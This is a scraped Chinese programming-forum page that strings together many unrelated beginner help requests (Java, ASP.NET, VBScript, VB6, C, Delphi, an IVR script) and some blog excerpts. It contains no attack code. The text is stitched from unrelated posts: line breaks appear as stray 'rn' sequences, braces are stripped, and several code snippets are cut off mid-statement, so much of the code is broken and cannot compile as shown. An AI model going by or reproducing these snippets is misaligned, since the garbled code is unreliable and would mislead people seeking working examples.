大佬帮忙看看这串代码问题在哪 [问题点数:20分]

Bbs1
本版专家分:0
结帖率 0%
Bbs2
本版专家分:125
Bbs1
本版专家分:0
Bbs2
本版专家分:125
帮忙看这代码!
大家<em>帮忙</em>给看一下,谢谢!!!rn)=nicknamern-----------------------------^rn
帮忙看这程序的问题在哪
import java.lang.*;rnimport java.io.*;rnrnrnrnpublic class Factorrn rn int result; rn public int multi(int n)rn rn int end = 0;rn result = n;rn while(n > 1)rn rn --n;rn result *= n; rn rn return result;rnrn rn public static void main(String args[]) throws IOExceptionrn rn int res;rn int x;rn rn Factor f1 = new Factor();rn if((x = System.in.read()) != -1)rn rn System.out.println(x);rn f1.multi(x);rn System.out.println("The result is:" + f1.result);rn rn rn
谁给我看看这代码问题在哪??
rnrnrn
galgame 游戏汉化我的看法
最近,大师和某汉化小组接触说说心得首先 大师加入汉化小组时候,甚至有人问大师是不是来催生的,当然如果能摧熟,那也不错。大师在出版社干过,要催生也不是不会,但是大师知道:慢工才能出细活哦,大师翻译MAW4 一个序章,200行就要一个下午,还把考试都见鬼了。。。。。(文本在这里 攻略和中文翻译之メンアットワーク!4 ~ハンター達よ永遠に~猎人们的永远)大师从小学到大学都是学E文,根
权限管理系统,但是无法实现其功能,请大家帮忙看看错在哪
delphi做的权限系统,请大家<em>帮忙</em>看看错<em>在哪</em>,我无法实现其功能
分享一位大佬的学习手册
在GitHub上无意中发现一位为了入职Google而准备的学习手册,粗略一看,深感佩服,获益颇多,故转发一波,希望与大家共勉。 [译] Google Interview University 一套完整的学习手册帮助自己准备 Google 的面试 原文地址:Google Interview University 原文作者:John Washam 译文出自:掘金翻译计划 译...
技术出身的互联网大佬们,写出的代码有什么不同?
雄关漫道真如铁–如今叱咤风云的互联网<em>大佬</em>们,如果追溯起他们波澜壮阔的人生其实可以发现,他们中的很多人也有过最纯粹的编码生活。作为程序员出身的他们,也曾不眠不休地写过<em>代码</em>,也曾为了Bug费尽心思。无论是弃文从武还是半路出家,在程序员大军中他们都是领军般的人物。那么他们都写过什么样的<em>代码</em>呢? 小米–雷军 “你写程序有写诗的感觉吗?”在大多数人眼中,雷军是小米科技创始人、金山公司的大老板,或
高手帮忙看这代码
show.aspx.cs:rnprivate void Page_Load(object sender, System.EventArgs e)rnrnif(!IsPostBack)rn rn int inttemp=-1;rn inttemp=int.Parse(this.Request.Params["id"].ToString());rn //如果传递的参数有一个rn if(Request.QueryString.Count==1)rn rn //判断传递过来的值是否存在于数据库中rn if(myCount.ifcountUser(this.Request.UrlReferrer.ToString())&&inttemp!=-1)rn rn string temp = Session["IsLog"].ToString();rn if(int.Parse(Session["Islog"].ToString())==0)rn this.myCount.Countadd(inttemp); this.addvisit();rn rn string strtemp=""; rn DataSet myDs=myCount.GetallCount(inttemp); rn string imgUrl=myDs.Tables[0].Rows[0]["Style_IMG_Url"].ToString();rn string count=myDs.Tables[0].Rows[0]["User_count"].ToString();rn rn //如果传递过来的参数是2rn elsern rn if(myCount.ifContainCount(this.Request.UrlReferrer.ToString()) && inttemp!=-1)rn rn string temp = Session["IsLog"].ToString();rn int Config=int.Parse(this.Request.Params["Config"].ToString());rn if(int.Parse(Session["Islog"].ToString())==0)rn myCount.CountAddWithConfig(inttemp,Config); this.addvisit();rn rn string strtemp=""; rn DataSet myDs=myCount.GetallContain(inttemp);rn string imgUrl=myDs.Tables[0].Rows[0]["Style_IMG_Url"].ToString();rn string count=myDs.Tables[0].Rows[0]["SiteCount"].ToString();rn rn rnrnrn以上<em>代码</em>是模拟计数器功能的,现在有个<em>问题</em>就是在请求参数为两个的时候,即把这一段脚本放在页面上,请求页面的时候,shop.aspx响应,执行else后头的语句,而为啥没有办法正常统计其值呢?谢谢!
帮忙看这几行代码
我在做Reporting Service的时候,为了让报表在WEB页面居中显示,在原生成的<em>代码</em>上加了2行(红色部分),但系统总是提示错误,请<em>帮忙</em>看看呀,本人不太懂网页<em>代码</em>。rnrn rn [color=#FF0000] [/color] rn rn rn rn 。。。。。。rn [color=#FF0000][/color] rn rnrn报错显示:rnrn警告 1 元素 命名空间“http://schemas.microsoft.com/sqlserver/reporting/2008/01/reportdefinition”中的“Body”。 的子元素 命名空间“http://schemas.microsoft.com/sqlserver/reporting/2008/01/reportdefinition”中的“div”。 无效。应为可能元素的列表: 命名空间“http://schemas.microsoft.com/sqlserver/reporting/2008/01/reportdefinition”中的“ReportItems, Height, Style”。 以及 命名空间“##other”中的任意元素。
帮忙看这代码什么意思?
function WaitInfo()rn rn if (typeof(Page_ClientValidate) == 'function') rn rn if(Page_ClientValidate())rn rn window.clearInterval(time1);rn document.getElementById("ctl00_cphPage_btnSave").click(); rn rn rn rnrn提别是这句:[img=https://img-bbs.csdn.net/upload/201503/05/1425538408_535654.png][/img]
谁帮我看看这代码,谢谢!
这是我从一个软件的RC数据部分复制出来的一串<em>代码</em>,向大家请教一下:rnobject web_56: TWebBrowserrn Left = 312rn Top = 0rn Width = 540rn Height = 65rn ParentShowHint = Falsern ShowHint = Falsern TabOrder = 1rn OnDocumentComplete = web_56DocumentCompletern ControlData = rn 4C000000D0370000B80600000000000000000000000000000000000000000000rn 000000004C000000000000000000000001000000E0D057007335CF11AE690800rn 2B2E126208000000000000004C0000000114020000000000C000000000000046rn 8000000000000000000000000000000000000000000000000000000000000000rn 00000000000000000100000000000000000000000000000000000000rn endrn请问ControlData后面部分是通过加密还是通过什么方法得到的啊,可不可以把它还原出来?用什么方法可以还原出来?rn谢谢!
帮我看看这代码在哪
int index=jTable12.getRowCount(); rn String sqlStr = null; rn for(int i=0;i = 2rn如果jTable12里有2列的话,就是这样报错的
帮我看看这简单的代码在哪
第一个:rnimport javax.swing.*;rnimport java.awt.*;rnimport java.applet.Applet;rnpublic class Myaccount extends Appletrnpublic void init()rnrnJLabel defa = new JLabel("defa");rnJLabel abcd = new JLabel("abcd");rnJLabel qwer = new JLabel("qwer");rnrnJPanel content = (JPanel)getContentPane();rncontent.setLayout(new GridLayout(3,1));rncontent.add(defa);rncontent.add(abcd);rncontent.add(qwer); rnrnrn提示的错误码如下:rnD:\java\Myaccount.java:13: cannot resolve symbolrnsymbol : method getContentPane ()rnlocation: class MyaccountrnJPanel content = (JPanel)getContentPane();rn ^rn1 errorrnrnrnrnrnrnrn还有另外一个,rnimport javax.swing.*;rnimport java.awt.*;rnimport java.applet.Applet;rnpublic class Myaccount extends Appletrnrnpublic void paint(Graphics g)rnrng.drawString("Text",10,15);rnrnrn这个编译时没错,但是运行时提示“未能启始化”,rn天啊,帮帮我rnrn
帮我看看这几句代码在哪??
set conn=server.createobject("adodb.connection")rn conn.open"driver=microsoft access driver(*.mdb);dbq="&server.MapPath("fire.mdb")rn sql rs=server.CreateObject("adobd.recordset")rnrn系统提示第二行出错,原因是没有指定数据库,rn是不是因为那句dbq="&server.MapPath("fire.mdb") ???rn我的网页和数据库都放在C:\Inetpub\wwwroot这个目录里,rn应该怎么改啊》?请写详细点,谢谢,我是初学者~~rn
有关lingo程序下载,大家下吧
lingo程序,大家<em>帮忙</em>找出<em>问题</em>的所在,想了好久还是不知道错<em>在哪</em>
大哥大姐们进来帮忙看这代码, 在线等 ……
Private Sub mnurename_Click()rnIf File1.FileName = "" Then Exit Subrn rn '调用Rename函数来更改文件的名称rn Call Rename(File1.Path, File1.FileName)rn File1.Refresh '更新文件列表rnEnd SubrnrnPrivate Function Rename(strPath As String, strFileDir As String) As Stringrn On Error GoTo errHandlerrn rn Rename = ""rn If strFileDir = "" Thenrn MsgBox "请选择重命名的对象!", vbCritical, "错误"rn Exit Functionrn End Ifrn If Right(strFileDir, 1) = "\" Thenrn MsgBox "不能够对根目录进行重命名", vbCritical, "错误"rn Exit Functionrn End Ifrnrn '取得新的文件或者文件夹的名称rn Dim str As Stringrn str = InputBox("请输入新的名称", "输入名称")rn If str = "" Then Exit Functionrn rn '将文件名扩展为全路径的文件名rn Dim str1 As Stringrn If Right(strPath, 1) = "\" Thenrn str1 = strPath & strFileDirrn str = strPath & strrn Elsern str1 = strPath & "\" & strFileDirrn str = strPath & "\" & strrn End Ifrn Name str1 As str '使用Name语句来改变文件或者文件夹的名称rn Rename = str '返回更改之后的文件或者文件名rn rn Exit Functionrn rnerrHandler:rn MsgBox Err.Description, vbCritical, "重命名时,出现下列错误:"rnEnd Functionrnrnrnrn上面的<em>代码</em>为什么重命名时输入汉字就是乱码,
入门问题——帮忙看这几行代码
import java.awt.*;rn import java.applet.*;rnrn rnpublic class FlowLayoutTest extends Appletrn rn public void init()rn rn setLayout(new FlowLayout());rn for(int i=0;i+i));rn validate();rn setVisible(true);rn tryrn rn Thread.sleep(500);rn rn catch(Exception e)rn rn rn rnrnrnpublic static void main(String args[])rn rn FlowLayoutTest mGUI = new init();rn rnrn昨天才接触java,好不容易凑了这几行<em>代码</em>,可是编译不了,请高手指点rn编译环境:jave1.2.2+win2000rn编译出错:main不对,请问该如何处理,谢谢rnrn
帮忙看这两行代码在哪?急
Public sub setDataGridCol(ByVal sTask As CLIENT_CONSULT_QUERY_ITEM, ByRef REF_ARR_CONDITION_LIST_STRING() As String) As Stringrn Dim sArrayList() As Stringrn Select Case sTaskrn Case CUSTOMER_BASE_INFORMATIONrn REF_ARR_CONDITION_LIST_STRING = "cust_num", "custname", "contact_co", "phone_co", "fax_num_co", "tax_code", "curr_code", "slsman", "terms_code"rn Case CUSTOMER_SHIPTO_INFORMATIONrn REF_ARR_CONDITION_LIST_STRING = "cust_num", "custname", "contact_co"rn End Selectrn End Function
VC++代码
我这段<em>代码</em>里面有模糊查询的,我不知道错误<em>在哪</em>,请高手<em>帮忙</em>看下,谢谢了!
新手,帮忙看这问题
A.txt里的内容只有前面一部分导到B.txt里去,应该怎么改?rnrnpackage study_java;rnimport java.io.*;rnpublic class FileRead rn public static void main(String[] args) rn tryrn int num=1048576;rn FileInputStream filein = new FileInputStream("C:\\Documents and Settings\\Administrator\\桌面\\A.txt");rn BufferedReader filein1=new BufferedReader(new InputStreamReader(filein));rn String str=filein1.readLine();rn rn FileOutputStream fileout = new FileOutputStream("C:\\Documents and Settings\\Administrator\\桌面\\B.txt", true);rn BufferedWriter fileout1=new BufferedWriter(new OutputStreamWriter(fileout),num);rn while (str!=null)rn System.out.println(str);rn fileout1.write(str);rn fileout1.newLine();rn str=filein1.readLine();rn rn filein1.close();rn rn catch(Exception e)rn String err=e.toString();rn System.out.println(err);rn rn rn
一个人靠不靠谱,就看这三点: 凡事有交代,件件有着落,事事有回音
一个人靠不靠谱,其实就<em>看这</em>三点: “凡事有交代,件件有着落,事事有回音。” 有些人就是这样,他跟你说“好”,你不会觉得他是在敷衍你。 我回忆起当年一位我特别喜欢且令人尊敬的老师。 他教的班级很多,但是他记得每一个人的名字。无论我什么时候跟他讨教<em>问题</em>,即使当时他忙不过来,但不管多久也总能记得回答我。 给他发邮件,永远在12小时内答复,或者他会自动留言——“不好意思,我在xxxx,你的邮件我...
大家帮我看看这题的问题在哪
/*给定fun的功能是:求出:1!,3!,......,K!(k是小于9的奇数)放在一维数组传回主函数rn如k=7则应输出1.000000 6.000000 120.00000 5040.0000rn改正fun函数 */rnrn//#include rn#include rn#define N 5rnvoid fun ( int k, double a[ ] )rnrn int i,j ;rn/***********found***********/rn int n=0 ;rn double y = 1.0;rn for (i=1; i );rn //NONO() ;rnrn[color=#FF0000]输出的结果是1.00000 6.00000 720.00000 3628800.00000[/color]rnrn好奇怪啊
[转]Java中的多线程你只要看这一篇就够了
引 如果对什么是线程、什么是进程仍存有疑惑,请先Google之,因为这两个概念不在本文的范围之内。  1、进程 进程是具有一定独立功能的程序关于某个数据集合上的一次运行活动,进程是系统进行资源分配和调度的一个独立单位。每个进程都有自己的独立内存空间,不同进程通过进程间通信来通信。由于进程比较重量,占据独立的内存,所以上下文进程间的切换开销(栈、寄存器、虚拟内存、文件句柄等)比较大,但相对...
用JAVA编写的计算器源代码
交流交流,好好下下看<em>看这</em><em>代码</em>哦!里面的<em>代码</em>原创.如有<em>问题</em>可给我留言哦
帮忙看这两题
1.这题会造成内存泄漏吗??(p只是指向基类子对象) rn#include rnclass test rn rnint a; rnpublic: rn ~test() rn rn cout<<; rn rn; rnvoid main() rn rn test *p=new test1; rn delete p; rn rn rn输出:unload test rn rn rn2.为什么静态成员函数不可以被设置为虚拟的??(请大侠详解一下)
帮忙看这编码
我找出一段文字,应该不是加密过的,文字如下:rnrnrn[size=18px][color=#FF0000]^540e^4ed8^8d39^5c0f^7075^901a[/color][/size]rnrnrn上面这段文字翻译过来就是“后付费小灵通”,请求大侠帮我看看应该如何解码,我想用C#解码,请给个思路。如需要更多的数据可在下面指出。rnrnrnPS:以上文字是通过JavaScript脚本解码的,但是脚本太长,看不过来。
帮忙看这
 rn[b]rnSports Results Database[/b]rnWrite a program that acts as an online sports results database for all the results of a single player or team (eg a footballer or team for your favourite sport)rnrnrn class definitionrn instance variables rn constructors and other methodsrn arrays of objects rn searching method rn useful comments, good indentation, good use of variable namesrn file i/orn objects can be updated with new valuesrn sorting method (not necessarily using index arrays)rnrnFor examplern • Write a new class ‘result’ to represent player or team result objects. An object consists of (for example) the player or team name, the date of result and score. Your class definition should include an appropriate constructor method. A single entry can be entered by the user typing the details in and the entry can be printed out. rn• The program should be able to store an array of result objects. Each entry in the array will be a single object for a result. Add a menu of options includingrno input a new entry from a keyboardrno print all the entries so farrno Quitrn• Your result database should provide a search method that allows the title of a given result to be looked up in the array. This should be an extra menu option. It should be part of a new “database” class rather than being part of the result class previously defined, ie it should be part of the class that instantiates the array of objects.rnrnrn
帮忙看这句话
rsAccountBalance.Open "Select AccountBalance from Students Where studentID = " & Str(iStudentID), _rn cnStateUBookstore, adOpenStatic, adLockReadOnlyrn这句话中& Str(iStudentID)前的&符号有什么作用?
看这代码问题?
if(rs.getDate("user_log_time")==null )rnrnout.println("-");rnrnelsernrn%>rnrn<%rn
帮忙看这代码哪里错!!
rnrnrnMicrosoft VBScript 编译器错误 (0x800A0401)rn语句未结束rn/合同/ClientModify-VB.asp, line 13, column 30rnsqlstmt = "update 3 set hao='"&hao&"',mingcheng='"&mingcheng&"',lianxiren='"&lianxiren&"',dianhua='"&dianhua&"' where id="&id rnrn我对一个可以调试成功的<em>代码</em>进行修改的,但修改后却发生错误,实在不解。
大家帮忙看这小段代码
我只想在一个窗体上放一个两个TAB叶的确PAGECONTROL,然后在第一个TAB叶上面放一个靠左的JLIST,rn我的这段程序为什么JLIST总是居中?rnrnrnimport java.awt.*;rnimport java.awt.List;rnrnimport javax.swing.*;rnrnpublic class SimpleTab extends JFramern rn JTabbedPane jtp;rn String[] pages ="Item1","Item2","Item3","Item4","Item5","Item6";rnrn public SimpleTab() rn super("General Decoder Manager");rn setSize(600,400);rn setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);rn Container contents = getContentPane();rn jtp = new JTabbedPane();rn JPanel pnlRule = new JPanel();rn pnlRule.setBackground(Color.BLUE);rn JPanel pnlConfig = new JPanel();rn JList RuleList = new JList(pages);rn RuleList.setPreferredSize(new Dimension(200,100));rn RuleList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);rn pnlRule.add(new JScrollPane(RuleList),BorderLayout.WEST);rn jtp.addTab("Rule Manager",pnlRule);rn jtp.addTab("GDM configure",pnlConfig);rn contents.add(jtp);rn setVisible(true);rn rnrn public static void main(String[] args) rn SimpleTab simpleTab = new SimpleTab();rn rn
帮忙看这代码?有什么问题
下面是查询的<em>代码</em>:一运行就说Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21' rnODBC 驱动程序不支持需要的属性。 rn/chk.asp, 行18 rn请问应该怎样改啊,请大家<em>帮忙</em>,急用!rnrnrn rn rn rn rn 查询结果rnrnrnrnrnrn rn rnrn rn rn  rn rn   rn rn  rn rn  rn rn  rn rn  rn rnrnrnrnrnrnrnrn
大家帮忙看这代码为什么错了?
System.Net.WebClient wc = new System.Net.WebClient();rn byte[] bb=wc.UploadFile("http://192.168.1.30/testpic/aa","POST","d:\fish.txt");rn rn 初学者照着帮助写的,iis没有<em>问题</em>,运行到第二句的时候就报“webclient请求期间出现错误!”
帮忙看这代码,错在哪
char c[10];rn printf("请输入你要查找的字符(最长10个字符):");rn scanf("%s",c);rn printf("长度:%d\n",strlen(c));rn if(strlen(c)>10)rn rn printf("输入字符最长为10个,请重新输入:");rn scanf("%s",c);rn printf("长度:%d\n",strlen(c));rn rn printf("你输入的字符是:%s\n",c);rnrnrn多输入几次10个以上字符。再输入10个以下的字符。就会出错!错<em>在哪</em>里呢?请高手<em>帮忙</em>!谢谢
帮忙看这代码问题在哪
#include rn#include "stdio.h"rnrnint max(int x,int y,int c); rn //函数声明rnrnvoid main()rnrn int a,b,c,d;rn scanf("%d,%d,%d",&a,&b,&c);rn rn d = max(a,b,c); //函数带入rnrn// printf("最大值是%d",d); //把最大值输出rn cout x)rn z = tmp;rn rn rn else rn rn y = tmp;rn if(z > y)rn y=tmp;rn rn rn return tmp;rnrnrn
各位帮忙看这两段代码
题目:企业发放的奖金根据利润提成。利润(I)低于或等于10万元时,奖金可提10%;利润高rn   于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可可提rn   成7.5%;20万到40万之间时,高于20万元的部分,可提成5%;40万到60万之间时高于rn   40万元的部分,可提成3%;60万到100万之间时,高于60万元的部分,可提成1.5%,高于rn   100万元时,超过100万元的部分按1%提成,从键盘输入当月利润I,求应发放奖金总数?rn<em>代码</em>一:rnmain()rnrnlong int i;rnint bonus1,bonus2,bonus4,bonus6,bonus10,bonus;rnscanf("%ld",&i);rnbonus1=100000*0.1;bonus2=bonus1+100000*0.75;rnbonus4=bonus2+200000*0.5;rnbonus6=bonus4+200000*0.3;rnbonus10=bonus6+400000*0.15;rn if(i10)+(i>20)+(i>40)+(i>60)+(i>100);rn switch (tiaojian)rn rn case 0:result=i*.1;break;rn case 1:result=1+(i-10)*.075;break;rn case 2:result=1.75+(i-20)*.05;break;rn case 3:result=2.75+(i-40)*.03;break;rn case 4:result=3.35+(i-60)*.015;break;rn case 5:result=3.95+(i-100)*.01;break;rn rn printf("%f\n",result);rn getch();rnrn<em>问题</em>:rn1、<em>代码</em>一中,rn“bonus1=100000*0.1;bonus2=bonus1+100000*0.75;rnbonus4=bonus2+200000*0.5;rnbonus6=bonus4+200000*0.3;rnbonus10=bonus6+400000*0.15;”里的"bonusX"是在编译时就赋好值还是编译成指令即时计算?rn2、请大家在各个方面评价一下这两段<em>代码</em>(某一段是答案,另一段是小弟我第一次编C的结果)rn
帮忙看这代码是什么语言?
[code=C/C++]rn一个ivr简单的流程<em>代码</em>rn#function PlayRoundSMSrn#function mainrn#declare SR sCodern#declare SR Pathrnmainrnrn:stWaitrn Connect(0) -> stAllocResourcern Connect -> stAllocResourcern rn:stAllocResource rn [ setvoxformat 8000,4] rn [ ClearDTMF ]rn [ AllocMediaDevice 1 ]rn AllocResourceOK -> stSetMandarinrn AllocResourceFail -> stExitrn rn:stSetMandarinrn [ EnableCall 0]rn [ SetLang 1 ]rn -> stBillBeginrn rn:stBillBegin rn [ BillBegin 1,0,$ServiceItemNo ]rn Verify(0) -> stWelcomern Verify(-1) -> stExitrn rn:stWelcome rn [ ClearDTMF]rn [ SetDTMF "?"]rn [ PlayFile ".\vox\jytip01.vox" ] //播放欢迎词。rn StopPlayBack -> stStartrn DialTerminate -> stStartrn Failed->stExitrn Bargein ->stExitrn rn:stStart rn [ ClearDTMF]rn [ SetDTMF "?"]rn [ PlayFile ".\vox\jytip02.vox" ] //播放按键提示。按1进入每日一句按2进入经典对话按3进入慢速英语按4进入英文歌曲按5进入名人演讲按6进入英文交友按7进入人工咨询按8进入公司简介.rn StopPlayBack -> stChoosern DialTerminate -> stChoosern Failed->stExitrn Bargein ->stExitrn rn:stChoosern [ SETDTMF "?"]rn [ DIGIT 5 ]rn StopDigits('1') -> stKey1 //按1每日一句rn StopDigits('2') -> stKey2 //按2进入经典对话rn StopDigits('3') -> stKey3 //按3慢速英语rn StopDigits('4') -> stKey4 //按4英文歌曲rn StopDigits('5') -> stKey5 //按5名人演讲rn StopDigits('6') -> stKey6 //按6英文交友rn StopDigits('7') -> stKey7 //按7人工咨询rn StopDigits('8') -> stKey8 //按8公司简介rn StopDigits -> stStart rn TimeOut -> stStart rn Failed ->stExitrn Bargein ->stExitrn:stKey1 //rn [ Assign Path,".\vox\1\"]rn [ Assign sCode,"1"]rn [ CallFunc &PlayRoundSMS ] rn Returned(3)->stKey1rn Returned(4)->stKey2rn Returned(5)->stKey3rn Returned(6)->stKey4rn Returned(7)->stKey5rn Returned(8)->stKey6rn Returned(9)->stKey7rn Returned(10)->stKey8rn Returned(-1)->stStartrn Returned(1)->stStartrn rn//---------------------------------------------- rn:stKey2 //rn [ Assign Path,".\vox\2\"]rn [ Assign sCode,"2"] //rn [ CallFunc &PlayRoundSMS ] rn Returned(3)->stKey1rn Returned(4)->stKey2rn Returned(5)->stKey3rn Returned(6)->stKey4rn Returned(7)->stKey5rn Returned(8)->stKey6rn Returned(9)->stKey7rn Returned(10)->stKey8rn Returned(-1)->stStartrn Returned(1)->stStartrn rn//------------------------------------------- rn:stKey3 //rn [ Assign Path,".\vox\3\"]rn [ Assign sCode,"3"] //rn [ CallFunc &PlayRoundSMS ] rn Returned(3)->stKey1rn Returned(4)->stKey2rn Returned(5)->stKey3rn Returned(6)->stKey4rn Returned(7)->stKey5rn Returned(8)->stKey6rn Returned(9)->stKey7rn Returned(10)->stKey8rn Returned(-1)->stStartrn Returned(1)->stStartrn rn//-------------------------------------------rn:stKey4 //rn [ Assign Path,".\vox\4\"]rn [ Assign sCode,"4"] //rn [ CallFunc &PlayRoundSMS ] rn Returned(3)->stKey1rn Returned(4)->stKey2rn Returned(5)->stKey3rn Returned(6)->stKey4rn Returned(7)->stKey5rn Returned(8)->stKey6rn Returned(9)->stKey7rn Returned(10)->stKey8rn Returned(-1)->stStartrn Returned(1)->stStartrn rn//-------------------------------------------rn:stKey5 //rn [ Assign Path,".\vox\5\"]rn [ Assign sCode,"5"] //rn [ CallFunc &PlayRoundSMS ] rn Returned(3)->stKey1rn Returned(4)->stKey2rn Returned(5)->stKey3rn Returned(6)->stKey4rn Returned(7)->stKey5rn Returned(8)->stKey6rn Returned(9)->stKey7rn Returned(10)->stKey8rn Returned(-1)->stStartrn Returned(1)->stStartrn rn//-------------------------------------------rn:stKey6 //rn [ ClearDTMF]rn [ SetDTMF "?"]rn [ PlayFile ".\vox\6\introduce6.vox" ]//英文交友,并提示业务开发中按任何键返回总提示。rn StopPlayBack -> stStartrn DialTerminate -> stStartrn Failed->stExitrn Bargein ->stExit rn//-------------------------------------------rn:stKey7 //rn [ ClearDTMF]rn [ SetDTMF "?"]rn [ PlayFile ".\vox\7\introduce7.vox" ]//人工咨询,并提示业务开发中按任何键返回总提示。rn StopPlayBack -> stStartrn DialTerminate -> stStartrn Failed->stExitrn Bargein ->stExit rn//-------------------------------------------rn:stKey8 //rn [ ClearDTMF]rn [ SetDTMF "?"]rn [ PlayFile ".\vox\8\introduce8.vox" ]//公司简介,并提示按任何键返回。rn StopPlayBack -> stStartrn DialTerminate -> stStartrn Failed->stExitrn Bargein ->stExit rn:stExitrn [ Return 0 ] rnrnrnPlayRoundSMS//相关栏目的一个子函数.rnrn:stWaitrn [ClearDTMF] //我们为您准备了10条精彩的内容,请按0-9号键选择收听!按*或者#返回。rn [SetDTMF "?"]rn [PlayFile ".\vox\jytip03.vox" ]rn StopPlayBack -> stPlayDigitrn DialTerminate -> stPlayDigitrn Failed -> stAssignIR2rn Bargein ->stExitrn rn:stPlayDigit rn [ DIGIT 5 ]rn StopDigits('*') -> stAssignIR1 //返回rn StopDigits('#') -> stAssignIR1 //返回rn StopDigits -> stPlayAssignrn TimeOut-> stWaitrn Failed ->stAssignIR2rn Bargein ->stExitrn:stPlayAssignrn [Assign IR3,IR0 ]rn [Assign SR5,Path]rn [StrCat SR5,sCode]rn [StrCat SR5,"0"]rn [StrCat SR5,SR0 ]rn [StrCat SR5,".vox"]rn ->stPlayVoxrn rn:stPlayVox rn [ClearDTMF] //提示音rn [SetDTMF "?"]rn [PlayFile SR5 ]rn StopPlayBack -> stPlayOkrn DialTerminate -> stDigitrn Failed -> stAssignIR2rn Bargein ->stExit rn:stPlayOkrn [ClearDTMF] //信息播放完毕,收听上一条请按1键,重听本条请按2号键,收听下一条请按3键,返回子栏目提示请按*号。rn [SetDTMF "?"]rn [PlayFile ".\vox\jytip04.vox" ]rn StopPlayBack -> stDigitrn DialTerminate -> stDigitrn Failed -> stAssignIR2rn Bargein ->stExit rn:stDigitrn [ DIGIT 3 ]rn StopDigits('1') -> stPireceVox //听上一条语音rn StopDigits('2') -> stPlayVox //重听rn StopDigits('3') -> stNextVox //听下一条语音rn StopDigits('*') -> stWait //返回子栏目的提示。rn StopDigits -> stPlayOkrn TimeOut-> stPlayOkrn Failed ->stAssignIR2rn Bargein ->stExitrn rn:stPireceVoxrn [Assign SR5,Path ]rn [StrCat SR5,sCode ]rn [Dec IR3 ]rn [IToS IR3 ]rn [StrLen SR0 ]rn [Equal IR0,1]rn Passed ->stPireceVox1rn Failed ->stPireceVox2rn rn:stPireceVox1rn [StrCat SR5,"0"]rn ->stPireceVox2rn rn:stPireceVox2 rn [StrCat SR5,SR0]rn [StrCat SR5,".vox"]rn [ GetFileTime SR5 ]rn [ EQUAL IR0,-1 ]rn Passed -> stAssignFirstrn Failed -> stPlayVoxrn:stNextVoxrn [Assign SR5,Path ]rn [StrCat SR5,sCode ]rn [Inc IR3 ]rn [IToS IR3 ]rn [StrLen SR0 ]rn [Equal IR0,1]rn Passed ->stNextVox1rn Failed ->stNextVox2rn:stNextVox1rn [StrCat SR5,"0"]rn ->stNextVox2rn:stNextVox2 rn [StrCat SR5,SR0]rn [StrCat SR5,".vox"]rn [GetFileTime SR5 ]rn [Equal IR0,-1 ]rn Passed -> stAssignEndrn Failed -> stPlayVoxrn:stAssignFirstrn [Assign SR1,".\vox\jytip05.vox"] //已是最上一条信息,按1进入每日一句按2进入经典对话按3进入慢速英语按4进入英文歌曲按5进入名人演讲按6进入英文交友按7进入人工咨询按8进入公司简介.rn ->stPlayEndrn:stAssignEndrn [Assign SR1,".\vox\jytip06.vox"] //已是最后一条信息,请重新选择收听!按1进入每日一句按2进入经典对话按3进入慢速英语按4进入英文歌曲按5进入名人演讲按6进入英文交友按7进入人工咨询按8进入公司简介.rn ->stPlayEndrn rn:stPlayEnd rn [ClearDTMF]rn [ SetDTMF "?" ]rn [ playfile SR1] rn StopPlayBack ->stEndDigitrn DialTerminate ->stEndDigitrn Failed ->stAssignIR2rn Bargein ->stExitrn rn:stEndDigitrn [ DIGIT 3 ]rn StopDigits('1') -> stAssignIR3 //rn StopDigits('2') -> stAssignIR4 //rn StopDigits('3') -> stAssignIR5 //rn StopDigits('4') -> stAssignIR6 //rn StopDigits('5') -> stAssignIR7 //rn StopDigits('6') -> stAssignIR8 //rn StopDigits('7') -> stAssignIR9 //rn StopDigits('8') -> stAssignIR10 //rn StopDigits('*') -> stAssignIR1 //rn StopDigits -> stPlayEndrn TimeOut-> stPlayEndrn Failed ->stExitrn Bargein ->stExitrn rn:stAssignIR0 //rn [ Assign IR1,0]rn ->stExitrn:stAssignIR1 //返回上一级rn [ Assign IR1,1]rn ->stExit rn:stAssignIR2 //错误 rn [ Assign IR1,2]rn ->stExit rn:stAssignIR3 //收听1 rn [ Assign IR1,3]rn ->stExitrn:stAssignIR4 //收听2 rn [ Assign IR1,4]rn ->stExitrn:stAssignIR5 //收听3 rn [ Assign IR1,5]rn ->stExitrn:stAssignIR6 //收听4 rn [ Assign IR1,6]rn ->stExitrn:stAssignIR7 //收听5 rn [ Assign IR1,7]rn ->stExitrn:stAssignIR8 //收听6 rn [ Assign IR1,8]rn ->stExitrn:stAssignIR9 //收听7rn [ Assign IR1,8]rn ->stExitrn:stAssignIR10 //收听8 rn [ Assign IR1,10]rn ->stExitrn:stExitrn [ Return IR1 ]rn rnrnrnrnrnrnrn[/code]
帮忙看这几句代码的意思
#region HelloWorld2 使用API的方法判断设备rn [DllImport("coredll.dll")]//不懂rn private static extern void SystemParametersInfo(uint whichParam, uint size, StringBuilder platformType, uint notUsed);//不懂rn const uint SPI_GETPLATFORMTYPE = 257;rn public string HelloWorld2()rn rn StringBuilder platformTypeString = new StringBuilder(255);rn SystemParametersInfo(SPI_GETPLATFORMTYPE, (uint)platformTypeString.Capacity, platformTypeString, 0);rn string pltType = platformTypeString.ToString();rnrn return "Hello " + pltType;rn rn #endregionrnrnrnrn #region HelloWorld3 使用CF的方法判断设备rn public string HelloWorld3()rn rn string result;rn #if PocketPC//不懂rn result="Pocket PC";rn #elif Smartphonern result= "Smartphone";rn #elsern result = "World";rn #endifrn return "Hello " + result;rn rnrn #endregion
帮忙看这代码的意思是什么????
if (_mentity == null)rn return null;rn rn DataSet ds = new DataSet();rn STC.Model.vComBusiness mBusiness = new Model.vComBusiness();rn sTableName = mBusiness.sTableName;rn string strSql = "sUser='" + _mentity.sUser + "'";rn ds = GetList(strSql);rn return ds;
帮忙看这两段代码啥意思?
